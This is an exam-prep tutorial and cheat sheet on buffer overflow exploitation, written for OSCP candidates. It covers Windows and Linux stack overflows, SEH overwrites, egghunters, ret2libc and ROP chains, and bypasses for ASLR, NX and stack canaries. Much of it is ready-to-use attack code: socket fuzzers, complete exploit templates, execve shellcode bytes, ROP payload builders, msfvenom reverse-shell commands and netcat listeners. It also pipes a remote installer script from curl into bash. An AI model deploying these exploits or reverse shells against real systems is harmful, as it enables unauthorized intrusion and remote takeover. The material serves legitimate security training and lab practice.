Legend:
[WIN]= Windows target |[LIN]= Linux target |[x86]= 32-bit |[x64]= 64-bit |[GDB]= Run inside GDB debugger
1. Introduction — How BOF Works
What it means: A buffer overflow occurs when a program writes more data into a fixed-size buffer than it can hold, overflowing into adjacent memory. On the stack, this overwrites the saved return address (EIP/RIP) — the value the CPU uses to know where to return after a function call. If an attacker controls EIP/RIP, they control where the CPU jumps next.
Normal Stack Frame (x86):
┌─────────────────────────┐ High address
│ Function Arguments │
├─────────────────────────┤
│ Saved EIP (ret addr) │ ← We want to OVERWRITE this
├─────────────────────────┤
│ Saved EBP │
├─────────────────────────┤
│ Local Variables / │
│ Buffer │ ← We WRITE into this
└─────────────────────────┘ Low address (ESP points here)
Overflowed Stack:
Buffer + "AAAA" * N → overwrites EBP → overwrites EIP
↓
CPU jumps to OUR address
(e.g., JMP ESP → shellcode)
Registers (x86 vs x64)
| Purpose | x86 | x64 |
|---|---|---|
| Instruction Pointer | EIP | RIP |
| Stack Pointer | ESP | RSP |
| Base Pointer | EBP | RBP |
| Return Value | EAX | RAX |
| 1st Argument | Stack | RDI |
| 2nd Argument | Stack | RSI |
| 3rd Argument | Stack | RDX |
| 4th Argument | Stack | RCX |
Key Concepts
| Term | Meaning |
|---|---|
| EIP/RIP | Instruction pointer — controls where CPU executes next |
| ESP/RSP | Stack pointer — top of the stack |
| Offset | Number of bytes before EIP/RIP is overwritten |
| Bad chars | Bytes that corrupt the payload (e.g., \x00 = null terminator) |
| JMP ESP | Assembly instruction — jump to address in ESP (where shellcode sits) |
| NOP sled | \x90 bytes before shellcode — CPU slides into shellcode |
| Shellcode | The payload code — reverse shell, calc.exe, etc. |
2. Tools & Setup
2.1 Debugging Tools
# Windows
# - Immunity Debugger (x86, most common for OSCP)
# https://www.immunityinc.com/products/debugger/
# - x64dbg / x32dbg (modern, supports both x86 and x64)
# https://x64dbg.com
# - WinDbg (Microsoft — advanced)
# Linux
# - GDB with PEDA/GEF/pwndbg extensions
sudo apt install gdb
# GEF (recommended)
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# pwndbg (alternative)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# PEDA
git clone https://github.com/longld/peda.git ~/.peda
echo "source ~/.peda/peda.py" >> ~/.gdbinit
2.2 mona.py (Immunity Plugin)
# mona.py — automates finding offsets, bad chars, JMP ESP, ROP gadgets
# Download: https://github.com/corelan/mona
# Copy to Immunity's PyCommands folder:
# C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\
# Usage in Immunity command bar:
!mona config -set workingfolder C:\mona\%p
!mona pattern_create 3000
!mona pattern_offset EIP_VALUE
!mona bytearray -b "\x00"
!mona compare -f C:\mona\bytearray.bin -a ESP_ADDRESS
!mona jmp -r esp -cpb "\x00"
!mona rop -m "*.dll" -cpb "\x00"
2.3 Python Skeleton Scripts
#!/usr/bin/env python3
# fuzzer.py — find approximate crash size
import socket, sys, time
ip = "TARGET_IP"
port = TARGET_PORT
payload = b"A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
s.recv(1024)
print(f"[*] Sending {len(payload)} bytes")
s.send(payload)
s.recv(1024)
s.close()
time.sleep(1)
payload += b"A" * 100
except Exception as e:
print(f"[+] Crash at ~{len(payload)} bytes")
sys.exit()
#!/usr/bin/env python3
# exploit.py — base exploit template
import socket
ip = "TARGET_IP"
port = TARGET_PORT
offset = 0 # fill after finding offset
ret = b"\x00\x00\x00\x00" # JMP ESP address (little-endian)
padding = b"\x90" * 16 # NOP sled
shellcode = b"" # paste msfvenom output here
buf = b"A" * offset
buf += ret
buf += padding
buf += shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(buf)
s.close()
2.4 pwntools (Linux BOF)
from pwn import *
# Connect to local binary or remote
p = process('./vulnerable') # local
p = remote('TARGET_IP', PORT) # remote
# Interact
p.recvuntil(b"Enter: ")
p.sendline(payload)
p.interactive()
# Cyclic pattern
pattern = cyclic(200) # generate pattern
offset = cyclic_find(0x61616161) # find offset from crash value
# Build payload
payload = b"A" * offset + p32(ret_addr) + shellcode # x86
payload = b"A" * offset + p64(ret_addr) + shellcode # x64
# Pack addresses
p32(0xdeadbeef) # little-endian 32-bit
p64(0xdeadbeef) # little-endian 64-bit
3. x86 Stack-Based BOF (Windows)
What it means: The classic OSCP buffer overflow. A Windows x86 application takes user input, copies it into a fixed-size buffer without bounds checking, and crashes. Your goal is to:
- Find the crash size
- Find the exact offset to EIP
- Find bad characters
- Find a JMP ESP gadget in a non-ASLR/DEP module
- Generate shellcode and exploit
Step 1 — Fuzz the Application
# Send increasing sizes of data until the app crashes
# Run in Immunity Debugger — watch EIP become 0x41414141 (AAAA)
import socket, time
for size in range(100, 5000, 100):
payload = b"A" * size
try:
s = socket.socket()
s.connect(("TARGET_IP", PORT))
s.recv(1024)
s.send(payload + b"\r\n")
s.close()
time.sleep(0.5)
print(f"Sent {size}")
except:
print(f"[+] Crashed at {size}")
break
Step 2 — Find the Exact Offset
# Generate a cyclic pattern (Metasploit)
msf-pattern_create -l 3000
# OR mona:
# In Immunity: !mona pattern_create 3000
# Send the pattern as payload
# When it crashes, note the value in EIP register
# Find offset
msf-pattern_offset -l 3000 -q EIP_VALUE
# Example: EIP_VALUE = 386F4337 → offset = 1978
# OR mona:
# !mona pattern_offset 386F4337
Step 3 — Confirm EIP Control
offset = 1978 # from step 2
payload = b"A" * offset
payload += b"B" * 4 # should overwrite EIP → 0x42424242
payload += b"C" * 500 # goes onto stack (ESP area)
# In Immunity — EIP should be 42424242, ESP should point to "CCCC..."
Step 4 — Find Bad Characters
# Generate all bytes except \x00 (always bad)
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = b"A" * offset
payload += b"B" * 4 # EIP placeholder
payload += badchars
# Send, then in Immunity right-click ESP → Follow in Dump
# Look for any byte that is MISSING or looks corrupted — that's a bad char
# mona method (more reliable):
# !mona bytearray -b "\x00" ← generate reference array
# Send payload, crash, then:
# !mona compare -f C:\mona\bytearray.bin -a <ESP_ADDRESS>
# mona will highlight bad characters automatically
Step 5 — Find JMP ESP Address
# In Immunity — find a module without ASLR/DEP protections
# Look for modules with Rebase=False, SafeSEH=False, ASLR=False, NXCompat=False
!mona modules
# Find a module with all False (often a DLL shipped with the app, not Windows DLL)
# Find JMP ESP (opcode \xff\xe4) in that module
!mona jmp -r esp -m "module_name.dll" -cpb "\x00\x0a\x0d"
# -cpb = exclude bad characters from the address
# Note the address e.g.: 0x625011AF
# Convert to little-endian: b"\xaf\x11\x50\x62"
# Alternative: Find JMP ESP across all modules
!mona jmp -r esp -cpb "\x00"
Step 6 — Generate Shellcode
# Windows reverse shell — exclude bad characters
msfvenom -p windows/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=4444 \
-b "\x00\x0a\x0d" \
-f python \
-v shellcode
# Stageless (no meterpreter dependency)
msfvenom -p windows/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=4444 \
-b "\x00" \
-e x86/shikata_ga_nai \
-f python
# Windows Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=<YOUR_IP> LPORT=4444 \
-b "\x00" -f python
Step 7 — Final Exploit
#!/usr/bin/env python3
import socket
ip = "TARGET_IP"
port = TARGET_PORT
offset = 1978
ret = b"\xaf\x11\x50\x62" # JMP ESP address (little-endian)
padding = b"\x90" * 16 # NOP sled — helps land in shellcode
# msfvenom output here
shellcode = b""
shellcode += b"\xfc\xbb\x5e\x78\x90\x29\xd9\xeb\xd9\x74\x24"
# ... (paste full shellcode)
buf = b"A" * offset
buf += ret
buf += padding
buf += shellcode
s = socket.socket()
s.connect((ip, port))
print(s.recv(1024))
s.send(buf + b"\r\n")
s.close()
# Set up listener before running exploit
nc -lvnp 4444
4. x86 Stack-Based BOF (Linux)
What it means: Linux BOF is similar to Windows but uses GDB for debugging, ELF binaries, and the calling convention passes arguments on the stack (x86). Main differences: no Immunity/mona, use GDB+GEF/pwndbg, find gadgets with ROPgadget, and protections differ.
Setup — Check Protections
# Check binary protections
checksec --file=./vulnerable
# OR (with pwntools):
pwn checksec ./vulnerable
# Output to understand:
# RELRO: Full/Partial/No → affects GOT overwrite
# Stack: Canary found → stack canary present (hard to bypass)
# NX: enabled → no shellcode execution (needs ROP/ret2libc)
# PIE: enabled → ASLR for the binary itself
# ASLR: check with: cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 2 = enabled
# Disable protections for practice
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # disable ASLR
# Compile without protections:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
Find Offset with GDB + GEF
gdb ./vulnerable
# Generate cyclic pattern
gef> pattern create 200
# Run with pattern
gef> run <<< $(python3 -c "print('Aa0Aa1Aa2Aa...')")
# OR
gef> run
# (paste pattern at input prompt)
# After crash — find offset
gef> pattern search $eip # x86
gef> pattern search $rsp # x64 (RSP has the pattern)
# OR use info registers to get EIP value then:
gef> pattern offset 0x61616164
Find Shellcode Address
# Check where ESP points after crash — our shellcode goes here
gef> info registers esp
gef> x/20x $esp # examine memory at ESP
# Find /bin/sh string for ret2libc
gef> find 0x08048000, 0x09000000, "/bin/sh"
# Find system() address
gef> p system
gef> p exit
Linux x86 Exploit — No NX (execstack)
from pwn import *
p = process('./vulnerable')
offset = 112 # from GDB pattern search
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# execve("/bin/sh", NULL, NULL) - x86 Linux
# Find exact ESP after offset — set ret to esp+offset or use NOP sled
ret = p32(0xffffcfb0) # ESP address from GDB (no ASLR)
nop_sled = b"\x90" * 100
payload = b"A" * offset
payload += ret
payload += nop_sled
payload += shellcode
p.sendline(payload)
p.interactive()
5. SEH-Based BOF (Windows)
What it means: Some Windows applications use Structured Exception Handling (SEH) — a mechanism that catches crashes. When a standard BOF overwrites EIP and crashes, the SEH handler runs. If you overwrite the SEH handler's address (nSEH + SEH), you can hijack execution via a POP POP RET gadget to redirect to your shellcode.
SEH Chain on Stack:
┌─────────────────┐
│ nSEH (4 bytes) │ ← short jump to shellcode (\xeb\x06\x90\x90)
├─────────────────┤
│ SEH (4 bytes) │ ← address of POP POP RET gadget
├─────────────────┤
│ Shellcode │ ← after the short jump
└─────────────────┘
SEH BOF Steps
# Step 1: Fuzz until crash, just like standard BOF
# Step 2: Generate cyclic pattern, send, crash
# In Immunity: View → SEH Chain (Alt+S)
# Note the nSEH and SEH values
# Step 3: Find offset to nSEH
!mona pattern_offset nSEH_VALUE
# Step 4: Find bad chars (same as standard BOF)
# Step 5: Find POP POP RET gadget
!mona seh -cpb "\x00\x0a\x0d"
# Finds a sequence: POP <reg>, POP <reg>, RET in a non-SafeSEH module
#!/usr/bin/env python3
import socket
ip = "TARGET_IP"
port = TARGET_PORT
offset = 2000 # offset to nSEH
# Short jump over nSEH (6 bytes) to reach shellcode
nSEH = b"\xeb\x06\x90\x90" # JMP SHORT +6 (skip to shellcode)
SEH = b"\x43\x18\x40\x00" # POP POP RET address (little-endian)
# Padding before nSEH
buf = b"A" * offset
buf += nSEH # overwrites nSEH
buf += SEH # overwrites SEH handler
buf += b"\x90" * 16 # NOP sled after SEH
buf += shellcode # reverse shell
s = socket.socket()
s.connect((ip, port))
s.recv(1024)
s.send(buf)
s.close()
6. Egghunter Technique
What it means: When the buffer space after EIP is too small to hold shellcode (< 400 bytes),
use an egghunter. An egghunter is a tiny (~32 byte) piece of shellcode that scans all of
virtual memory looking for a unique 8-byte tag (w00tw00t) that precedes your actual shellcode
(stored elsewhere in memory from a previous large send). It then jumps to the real shellcode.
# Generate egghunter with mona
!mona egg -t w00t
# Outputs: 32-byte egghunter shellcode
# Alternatively, use pwntools or standard egghunter:
egghunter = (
b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
b"\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
# Tag: w00t (repeated twice = w00tw00t)
#!/usr/bin/env python3
import socket
ip = "TARGET_IP"
port = TARGET_PORT
tag = b"w00tw00t" # 8 byte tag before real shellcode
# msfvenom shellcode
shellcode = b"" # paste here
# Step 1: Send the real shellcode somewhere in memory (another buffer/field)
# Send the tag + shellcode to a field that stays in memory
early_payload = tag + shellcode
# (send this to another input field that gets buffered in memory)
# Step 2: Exploit the actual BOF with egghunter
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e..."
offset = 1978
ret = b"\xaf\x11\x50\x62" # JMP ESP
buf = b"A" * offset
buf += ret
buf += b"\x90" * 8
buf += egghunter # tiny shellcode that finds w00tw00t in memory
7. x64 Buffer Overflow
What it means: x64 BOF differs from x86 in several key ways:
- Addresses are 8 bytes (not 4), and most addresses contain null bytes (
\x00) - Function arguments are passed in registers (RDI, RSI, RDX, RCX) not the stack
- RIP is controlled (not EIP)
- Finding ROP gadgets is essential because of NX (DEP is almost always on in x64)
- Stack alignment must be 16-byte aligned before
system()calls
x64 Stack Alignment Issue
# x64 system() requires the stack to be 16-byte aligned
# If exploit crashes inside system() — add a RET gadget before the call
# This shifts RSP by 8 bytes to fix alignment
# Find a RET gadget:
# ROPgadget --binary ./vuln | grep ": ret"
# e.g.: 0x00000000004005a6 : ret
ret_gadget = p64(0x4005a6) # add this before the system() call
x64 BOF — No PIE, No ASLR, NX Enabled (ret2libc)
# Step 1: Find offset to RIP
gef> pattern create 200
gef> run <<< $(python3 -c "import sys; sys.stdout.buffer.write(b'Aa0Aa1...')")
# After crash:
gef> pattern search $rsp # in x64, the pattern ends up at RSP not RIP
from pwn import *
elf = ELF('./vulnerable')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vulnerable')
# Find offset (number of bytes before RIP is controlled)
offset = 72 # from GDB pattern search
# Leak a libc address using puts() to bypass ASLR (if enabled)
# ret2plt technique to call puts(puts_got) to leak libc base
# If no ASLR:
system_addr = p64(libc.symbols['system'])
bin_sh_addr = p64(next(libc.search(b'/bin/sh')))
exit_addr = p64(libc.symbols['exit'])
# Find: pop rdi ; ret gadget (load /bin/sh address into RDI)
pop_rdi = p64(0x0000000000401233) # from ROPgadget output
ret_gad = p64(0x000000000040101a) # for stack alignment
payload = b"A" * offset
payload += ret_gad # align stack
payload += pop_rdi # gadget: pop rdi; ret
payload += bin_sh_addr # RDI = "/bin/sh"
payload += system_addr # call system("/bin/sh")
payload += exit_addr # clean exit
p.sendline(payload)
p.interactive()
Find ROP Gadgets
# ROPgadget
ROPgadget --binary ./vulnerable | grep "pop rdi"
ROPgadget --binary ./vulnerable | grep ": ret"
ROPgadget --binary ./vulnerable | grep "pop rsi"
ROPgadget --binary libc.so.6 | grep "pop rdi"
# ropper
ropper --file ./vulnerable --search "pop rdi"
ropper --file libc.so.6 --search "pop rdi; ret"
# pwntools ROP builder
rop = ROP(elf)
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.sym['main'])
print(rop.dump())
8. Ret2libc / Return-Oriented Programming (ROP)
What it means: When NX (No-Execute) is enabled, you can't execute shellcode on the stack.
Instead, you chain together existing code snippets (gadgets) already in the binary or
libc — each ending in a RET instruction. This creates a "program" from existing instructions.
Ret2libc is the simplest ROP attack: call system("/bin/sh") using libc's existing function.
Ret2libc — x86 Linux (Classic)
from pwn import *
p = process('./vulnerable')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
offset = 112
# With ASLR disabled:
system_addr = p32(libc.symbols['system'])
exit_addr = p32(libc.symbols['exit'])
bin_sh_addr = p32(next(libc.search(b'/bin/sh')))
# x86 calling convention: args go on stack after return address
payload = b"A" * offset
payload += system_addr # overwrite EIP → call system()
payload += exit_addr # return address for system() → call exit()
payload += bin_sh_addr # first argument to system() = "/bin/sh"
p.sendline(payload)
p.interactive()
Bypass ASLR — Leak Libc Address (ret2plt)
from pwn import *
elf = ELF('./vulnerable')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vulnerable')
rop = ROP(elf)
offset = 72
# Step 1: Leak a libc address using puts(puts@got)
# puts is already in the binary's PLT — use it to print its own GOT address
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.sym['main']) # return to main to run exploit again
payload = b"A" * offset + bytes(rop)
p.sendlineafter(b"Enter: ", payload)
# Step 2: Parse the leaked address
p.recvuntil(b"\n")
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
print(f"[+] puts @ {hex(leak)}")
# Calculate libc base
libc.address = leak - libc.symbols['puts']
print(f"[+] libc base @ {hex(libc.address)}")
# Step 3: Now call system("/bin/sh") with correct addresses
rop2 = ROP(libc)
rop2.call(libc.symbols['system'], [next(libc.search(b'/bin/sh\x00'))])
payload2 = b"A" * offset + bytes(rop2)
p.sendlineafter(b"Enter: ", payload2)
p.interactive()
One_gadget (Easy Shell in Libc)
# one_gadget finds a single libc address that immediately gives you a shell
# (constraints: certain registers must be null or pointing to writable memory)
gem install one_gadget # install
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Output:
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints: [r15] == NULL || r15 == NULL
# 0xe3b01 execve("/bin/sh", r15, rdx)
# ...
# Try the gadget offsets in your exploit:
one_gadget_offset = 0xe3afe
payload = b"A" * offset + p64(libc.address + one_gadget_offset)
9. Protections & Bypasses
| Protection | Description | Bypass Technique |
|---|---|---|
| ASLR | Randomizes stack/heap/libc base addresses | Leak address via format string or ret2plt; brute-force (32-bit only) |
| NX / DEP | Stack/heap not executable — no shellcode | ROP chains, ret2libc |
| Stack Canary | Random value before return address — checked at function return | Leak canary via format string; brute-force (fork servers) |
| PIE | Binary itself is ASLR'd | Leak binary address via format string or partial overwrite |
| RELRO Full | GOT is read-only | Can't overwrite GOT entries — target other write locations |
| SafeSEH | Validates SEH handlers before calling | Find non-SafeSEH module (app DLL, not Windows DLL) |
| CFG | Control Flow Guard — validates indirect calls | ROP chains that go through valid targets |
Bypass Stack Canary — Format String Leak
# Format string vulnerability leaks canary from stack
# Canary is at a fixed position relative to the format string arg
# Fuzz format string position
for i in range(1, 50):
payload = f"%{i}$p".encode()
p.sendline(payload)
print(f"[{i}] {p.recvline()}")
# When you see a value ending in \x00 (e.g., 0x4f7a1300)
# — that's likely the canary (always ends in null byte)
# Once you know the position (e.g., position 23):
p.sendline(b"%23$p")
canary = int(p.recvline(), 16)
print(f"[+] Canary: {hex(canary)}")
# Build payload with correct canary
payload = b"A" * offset_to_canary
payload += p64(canary) # preserve canary
payload += b"B" * 8 # overwrite saved RBP
payload += p64(ret_addr) # overwrite RIP
10. GDB Cheat Sheet
# Launch
gdb ./binary
gdb -q ./binary # quiet mode
# GEF commands
gef> start # run and pause at main
gef> run # run freely
gef> run <<< "AAAA" # run with input
gef> run $(python3 -c "print('A'*200)")
# Breakpoints
gef> break main
gef> break *0x08048560
gef> info breakpoints
gef> delete 1 # delete breakpoint 1
# Execution
gef> continue # continue execution
gef> next # next line (step over)
gef> step # step into
gef> nexti # next instruction
gef> stepi # step into instruction
gef> finish # run until function returns
# Examine memory
gef> x/20x $esp # 20 hex words from ESP
gef> x/20x $rsp # x64
gef> x/s 0x804a000 # string at address
gef> x/i $eip # instruction at EIP
gef> x/20i main # 20 instructions of main
# Registers
gef> info registers # all registers
gef> p $eip # print EIP value
gef> set $eip = 0x1234 # set register
# Backtrace
gef> bt # backtrace
# Search memory
gef> grep "/bin/sh" # find string in memory
gef> search-pattern "/bin/sh"
# GEF extras
gef> checksec # binary protections
gef> vmmap # memory map
gef> heap # heap info
gef> pattern create 200
gef> pattern search $esp
# pwndbg extras
pwndbg> cyclic 200
pwndbg> cyclic -l 0x61616164
pwndbg> rop --grep "pop rdi"
11. Immunity Debugger Cheat Sheet
Navigation
F9 = Run
F8 = Step over
F7 = Step into
F2 = Set breakpoint at selected instruction
Ctrl+G = Go to address
Ctrl+F = Find in disassembler
Views
Alt+E = Modules (DLL list — for finding JMP ESP)
Alt+S = SEH Chain
Alt+M = Memory map
Alt+K = Call stack
Right-click ESP → Follow in Dump (see stack contents)
Right-click EIP → Follow in Disassembler
mona commands (in command bar at bottom)
!mona config -set workingfolder C:\mona%p
!mona modules → list modules with protections
!mona pattern_create 3000 → generate cyclic pattern
!mona pattern_offset 0x386F4337 → find offset from EIP value
!mona bytearray -b "\x00" → generate bad char array
!mona compare -f bytearray.bin -a 0x01A1D630 → compare to find bad chars
!mona jmp -r esp -cpb "\x00\x0a\x0d" → find JMP ESP
!mona seh -cpb "\x00\x0a\x0d" → find POP POP RET for SEH
!mona rop -m "module.dll" -cpb "\x00" → find ROP gadgets
!mona egg -t w00t → generate egghunter
12. Complete BOF Methodology
STEP 1: FUZZ
└── Send increasing data sizes until crash
└── Note approximate crash size
STEP 2: FIND EXACT OFFSET
└── Generate cyclic pattern (msf-pattern_create or mona)
└── Send pattern, crash, read EIP/RIP
└── Calculate offset (msf-pattern_offset or mona pattern_offset)
STEP 3: CONFIRM EIP/RIP CONTROL
└── Send: "A"_offset + "B"_4 + "C"*500
└── EIP = 42424242 ✓, ESP points to "CCCC..." ✓
STEP 4: FIND BAD CHARACTERS
└── Send all bytes \x01-\xff after EIP
└── Follow ESP in dump — find missing/corrupted bytes
└── Repeat until all bad chars found
└── Note: \x00 is ALWAYS bad (null terminator)
STEP 5: FIND RETURN ADDRESS
Windows:
└── !mona jmp -r esp -cpb "
└── Pick address from non-ASLR/SafeSEH module
└── Convert to little-endian
Linux (NX disabled):
└── Find ESP address from GDB (no ASLR)
└── Use as return address with NOP sled
Linux/x64 (NX enabled):
└── Use ROPgadget to find gadgets
└── Build ROP chain (ret2libc)
STEP 6: GENERATE SHELLCODE
└── msfvenom -p windows/shell_reverse_tcp LHOST=X LPORT=4444 -b "
STEP 7: ASSEMBLE & FIRE
└── payload = "A"*offset + ret_addr + NOP_sled + shellcode
└── Start listener: nc -lvnp 4444
└── Fire exploit
└── 🐚 Shell
13. Cheat Sheet
Quick Commands
# Generate cyclic pattern
msf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q EIP_VALUE
# msfvenom payloads
# Windows x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -b "\x00" -f python
# Windows x86 Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -b "\x00" -f python
# Linux x86 reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=4444 -b "\x00" -f python
# Linux x64 reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -b "\x00" -f python
# List formats
msfvenom --list formats
# List encoders
msfvenom --list encoders
# ROPgadget
ROPgadget --binary ./vuln --rop
ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
ROPgadget --binary ./vuln | grep ": ret$"
# checksec
checksec --file=./vuln
pwn checksec ./vuln
# pwntools one-liner
python3 -c "from pwn import *; p=process('./v'); p.sendline(b'A'*112+p32(0xdeadbeef)); p.interactive()"
Shellcode Reference
# x86 Linux — execve("/bin/sh")
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# x64 Linux — execve("/bin/sh")
shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# NOP sled
nop_sled = b"\x90" * 100
# Breakpoint (for debugging — causes INT3)
int3 = b"\xcc"
Common Offsets Pattern
# x86 Windows exploit structure
payload = b"A" * offset # padding to EIP
payload += ret # JMP ESP address (little-endian)
payload += b"\x90" * 16 # NOP sled
payload += shellcode # reverse shell
# SEH exploit structure
payload = b"A" * offset # padding to nSEH
payload += b"\xeb\x06\x90\x90" # nSEH = short jump
payload += seh # SEH = POP POP RET
payload += b"\x90" * 16
payload += shellcode
# x64 ROP structure
payload = b"A" * offset # padding to RIP
payload += p64(ret_gadget) # stack alignment
payload += p64(pop_rdi_gadget) # pop rdi; ret
payload += p64(bin_sh_addr) # "/bin/sh" address
payload += p64(system_addr) # system()
This covers the full BOF spectrum — classic x86 Windows (OSCP style), Linux x86/x64, SEH overwrite, egghunting, ret2libc, ROP chains, and all major protection bypasses.
Key tips for your OSCP exam:
- The OSCP BOF machine is almost always a Windows x86 classic stack BOF — follow Steps 1–7 exactly and you'll get it every time
- Always use
!mona comparefor bad chars — manual inspection misses corrupted bytes \x00\x0a\x0dare the most common bad chars — always start by excluding them- Add a
time.sleep(2)after connect in your exploit — gives the app time to send its banner